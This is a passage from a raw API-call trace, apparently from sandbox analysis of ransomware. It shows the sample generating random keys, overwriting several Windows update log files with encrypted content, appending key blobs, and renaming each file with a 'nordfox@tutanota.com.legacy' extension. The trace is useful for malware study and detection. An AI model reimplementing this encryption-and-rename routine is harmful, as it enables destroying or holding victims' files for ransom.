lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0116.771] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0116.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.772] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.773] WriteFile (in: hFile=0x694, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.773] WriteFile (in: hFile=0x694, lpBuffer=0x5c3418*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.773] CloseHandle (hObject=0x694) returned 1 [0116.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0116.773] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0116.773] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7160 | out: hHeap=0x520000) returned 1 [0116.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e70c8 | out: hHeap=0x520000) returned 1 [0116.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e70c8 [0116.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0116.776] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0116.776] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0116.776] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0116.776] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl", dwFileAttributes=0x80) returned 1 [0116.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7160 [0116.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.777] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7160 | out: hHeap=0x520000) returned 1 [0116.777] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.777] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0116.777] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0116.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0116.778] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.783] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.783] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.783] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0116.784] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0116.784] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.784] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.785] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.785] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.785] CloseHandle (hObject=0x694) returned 1 [0116.785] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0116.785] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0116.785] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.023.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.023.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.800] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e70c8 | out: hHeap=0x520000) returned 1 [0116.800] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f98 | out: hHeap=0x520000) returned 1 [0116.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f98 [0116.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0116.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0116.800] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0116.800] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0116.800] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl", dwFileAttributes=0x80) returned 1 [0116.800] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e70c8 [0116.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e70c8 | out: hHeap=0x520000) returned 1 [0116.801] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.801] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0116.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0116.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0116.801] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.821] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.821] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.822] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.822] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0116.822] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0116.822] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.822] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.822] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.823] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.823] CloseHandle (hObject=0x694) returned 1 [0116.823] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0116.823] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0116.823] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.022.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.022.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f98 | out: hHeap=0x520000) returned 1 [0116.825] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6d38 | out: hHeap=0x520000) returned 1 [0116.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6d38 [0116.825] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4638 [0116.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0116.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0116.826] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0116.826] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl", dwFileAttributes=0x80) returned 1 [0116.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f98 [0116.826] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.826] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f98 | out: hHeap=0x520000) returned 1 [0116.826] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.827] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12288) returned 1 [0116.827] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x60dbe8 [0116.828] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x610bf0 [0116.828] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0116.836] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.836] WriteFile (in: hFile=0x694, lpBuffer=0x610bf0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0116.836] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.836] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610bf0 | out: hHeap=0x520000) returned 1 [0116.836] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3000 [0116.836] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.836] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4638*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.837] WriteFile (in: hFile=0x694, lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.837] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.837] CloseHandle (hObject=0x694) returned 1 [0116.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0116.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0116.838] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.021.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6d38 | out: hHeap=0x520000) returned 1 [0116.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6ca0 | out: hHeap=0x520000) returned 1 [0116.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0116.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0116.839] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0116.840] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0116.840] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0116.840] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl", dwFileAttributes=0x80) returned 1 [0116.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e70c8 [0116.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e70c8 | out: hHeap=0x520000) returned 1 [0116.840] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.841] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0116.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0116.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0116.841] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.853] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.853] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.853] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0116.853] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0116.853] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.854] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.854] WriteFile (in: hFile=0x694, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.854] WriteFile (in: hFile=0x694, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.854] CloseHandle (hObject=0x694) returned 1 [0116.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0116.855] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0116.855] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.020.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.020.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0116.857] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6b70 | out: hHeap=0x520000) returned 1 [0116.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0116.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0116.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0116.857] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0116.857] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0116.857] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl", dwFileAttributes=0x80) returned 1 [0116.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e70c8 [0116.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.858] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e70c8 | out: hHeap=0x520000) returned 1 [0116.858] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.858] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16384) returned 1 [0116.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4000) returned 0x60dbe8 [0116.858] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4000) returned 0x611bf0 [0116.859] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0116.870] SetFilePointer (in: hFile=0x694, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.870] WriteFile (in: hFile=0x694, lpBuffer=0x611bf0*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x611bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0116.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611bf0 | out: hHeap=0x520000) returned 1 [0116.871] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0116.871] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.871] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.871] WriteFile (in: hFile=0x694, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.871] WriteFile (in: hFile=0x694, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.872] CloseHandle (hObject=0x694) returned 1 [0116.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0116.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0116.872] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.019.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.019.etl"), lpNewFileName="\\Users\\All 